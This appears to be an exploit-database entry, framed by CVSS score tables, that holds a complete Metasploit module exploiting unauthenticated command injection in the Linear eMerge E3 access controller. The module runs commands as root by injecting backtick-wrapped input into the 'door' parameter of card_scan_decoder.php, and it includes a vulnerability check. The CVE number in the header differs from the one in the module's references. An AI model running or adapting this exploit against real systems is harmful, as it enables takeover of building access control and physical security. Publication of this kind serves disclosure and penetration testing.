9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
# Exploit Title: eMerge E3 Access Controller 4.6.07 - Remote Code Execution (Metasploit)
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 4.6.07
# Tested on: NA
# CVE : CVE-2019-7265
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005
# Tested on: GNU/Linux 3.14.54 (ARMv7 rev 10), Lighttpd 1.4.40, PHP/5.6.23
#
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Linear eMerge E3 Access Controller Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in the Linear eMerge
E3 Access Controller. The issue is triggered by an unsanitized exec() PHP
function allowing arbitrary command execution with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gjoko Krstic <[emailΒ protected]> ' # Discovery, Exploit, MSF Module
],
'References' =>
[
[ 'URL', 'https://applied-risk.com/labs/advisories' ],
[ 'URL', 'https://www.nortekcontrol.com' ],
[ 'CVE', '2019-7256']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [ ['Linear eMerge E3', { }], ],
'DisclosureDate' => "Oct 29 2019",
'DefaultTarget' => 0
)
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "card_scan_decoder.php"),
'vars_get' =>
{
'No' => '251',
'door' => '1337'
}
})
if res.code == 200 and res.to_s =~ /PHP\/5.6.23/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def http_send_command(cmd)
uri = normalize_uri(target_uri.path.to_s, "card_scan_decoder.php")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' =>
{
'No' => '251',
'door' => "`"+cmd+"`"
}
})
unless res
fail_with(Failure::Unknown, 'Exploit failed!')
end
res
end
def exploit
http_send_command(payload.encoded)
print_status("Sending #{payload.encoded.length} byte payload...")
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C